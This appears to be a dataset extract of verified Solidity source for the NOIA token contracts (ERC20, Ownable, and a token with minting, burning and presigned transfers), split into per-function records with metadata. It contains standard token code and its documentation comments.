contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
_burn
function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); }
/** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 5316, 5627 ] }
7,081
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
_approve
function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); }
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 6062, 6402 ] }
7,082
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
_burnFrom
function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); }
/** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 6582, 6775 ] }
7,083
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */
NatSpecMultiLine
owner
function owner() public view returns (address) { return _owner; }
/** * @dev Returns the address of the current owner. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 441, 525 ] }
7,084
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */
NatSpecMultiLine
isOwner
function isOwner() public view returns (bool) { return msg.sender == _owner; }
/** * @dev Returns true if the caller is the current owner. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 807, 904 ] }
7,085
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */
NatSpecMultiLine
renounceOwnership
function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
/** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 1252, 1397 ] }
7,086
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); }
/** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 1547, 1661 ] }
7,087
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
Ownable
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */
NatSpecMultiLine
_transferOwnership
function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; }
/** * @dev Transfers ownership of the contract to a new account (`newOwner`). */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 1762, 1996 ] }
7,088
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
NOIAToken
contract NOIAToken is TokenRecoverable, ERC20 { using SafeMath for uint256; using Address for address; using ECDSA for bytes32; string public constant name = "NOIA Token"; string public constant symbol = "NOIA"; uint8 public constant decimals = uint8(18); uint256 public tokensToMint = 1000000000e18; // 1 000 000 000 tokens address public burnAddress; mapping(address => bool) public notify; mapping(bytes32 => bool) private hashedTxs; bool public etherlessTransferEnabled = true; event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee); modifier onlyEtherlessTransferEnabled { require(etherlessTransferEnabled == true, "Etherless transfer functionality disabled"); _; } function register() public { notify[msg.sender] = true; } function unregister() public { notify[msg.sender] = false; } function enableEtherlessTransfer() public onlyOwner { etherlessTransferEnabled = true; } function disableEtherlessTransfer() public onlyOwner { etherlessTransferEnabled = false; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { bool success = super.transfer(to, value); if (success) { _postTransfer(msg.sender, to, value); } return success; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { bool success = super.transferFrom(from, to, value); if (success) { _postTransfer(from, to, value); } return success; } function _postTransfer(address from, address to, uint256 value) internal { if (to.isContract()) { if (notify[to] == false) return; ITokenReceiver(to).tokensReceived(from, to, value); } else { if (to == burnAddress) { _burn(burnAddress, value); } } } function _burn(address account, uint256 value) internal { require(tokensToMint == 0, "All tokens must be minted before burning"); super._burn(account, value); } /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public onlyOwner returns (bool) { require(tokensToMint.sub(value) >= 0, "Not enough tokens left"); tokensToMint = tokensToMint.sub(value); _mint(to, value); _postTransfer(address(0), to, value); return true; } /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { require(msg.sender == burnAddress, "Only burnAddress can burn tokens"); _burn(msg.sender, value); } function setBurnAddress(address _burnAddress) external onlyOwner { require(balanceOf(_burnAddress) == 0, "Burn address must have zero balance!"); burnAddress = _burnAddress; } /** Etherless Transfer */ /** * @notice Submit a presigned transfer * @param _signature bytes The signature, issued by the owner. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. Should be unique, per user. */ function transferPreSigned( bytes memory _signature, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public onlyEtherlessTransferEnabled returns (bool) { require(_to != address(0), "Transfer to the zero address"); bytes32 hashedParams = hashForSign(msg.sig, address(this), _to, _value, _fee, _nonce); address from = hashedParams.toEthSignedMessageHash().recover(_signature); require(from != address(0), "Invalid signature"); bytes32 hashedTx = keccak256(abi.encodePacked(from, hashedParams)); require(hashedTxs[hashedTx] == false, "Nonce already used"); hashedTxs[hashedTx] = true; if (msg.sender == _to) { _transfer(from, _to, _value.add(_fee)); _postTransfer(from, _to, _value.add(_fee)); } else { _transfer(from, _to, _value); _postTransfer(from, _to, _value); _transfer(from, msg.sender, _fee); _postTransfer(from, msg.sender, _fee); } emit TransferPreSigned(from, _to, msg.sender, _value, _fee); return true; } /** * @notice Hash (keccak256) of the payload used by transferPreSigned * @param _token address The address of the token. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * 